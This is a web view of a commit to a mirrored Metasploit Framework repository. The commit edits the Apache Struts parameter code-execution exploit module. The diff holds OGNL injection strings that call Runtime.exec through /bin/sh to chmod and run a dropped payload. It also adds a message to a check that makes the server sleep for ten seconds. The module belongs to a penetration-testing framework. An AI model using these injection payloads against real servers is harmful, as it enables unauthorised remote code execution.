infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

check function now tells user about delay

bug/bundler_fix
Console 2013-03-21 16:40:45 +00:00
parent a714b430ca
commit 4edf5260f4
1 changed files with 5 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
modules/exploits/multi/http/struts_code_exec_parameters.rb
View File

@ -96,14 +96,15 @@ class Metasploit3 < Msf::Exploit::Remote
pl_exe = generate_payload_exe pl_exe = generate_payload_exe
chunk_length = 384 chunk_length = 384
append = 'false' append = 'false'
# java_cmd = "@java.lang.Runtime@getRuntime().exec(%s)"
#Now arch specific... #Now arch specific...
case target['Platform'] case target['Platform']
when 'linux' when 'linux'
chunk_length = 128 #Complains of a long filename if left default. chunk_length = 128 #Complains of a long filename if left default.
@payload_exe = "/tmp/#{@payload_exe}" @payload_exe = "/tmp/#{@payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh@-c@chmod +x #{@payload_exe}\".split(\"@\"))" # chmod_cmd = java_cmd % '\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\")'
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh@-c@#{@payload_exe}\".split(\"@\"))" chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
when 'java' when 'java'
@payload_exe << ".jar" @payload_exe << ".jar"
pl_exe = payload.encoded_jar.pack pl_exe = payload.encoded_jar.pack
@ -147,6 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check def check
check_cmd = "@java.lang.Thread@sleep(10000)" check_cmd = "@java.lang.Thread@sleep(10000)"
t1 = Time.now t1 = Time.now
print_status("Asking remote server to sleep for 10 seconds")
response = execute_command(check_cmd) response = execute_command(check_cmd)
t2 = Time.now t2 = Time.now
delta = t2 - t1 delta = t2 - t1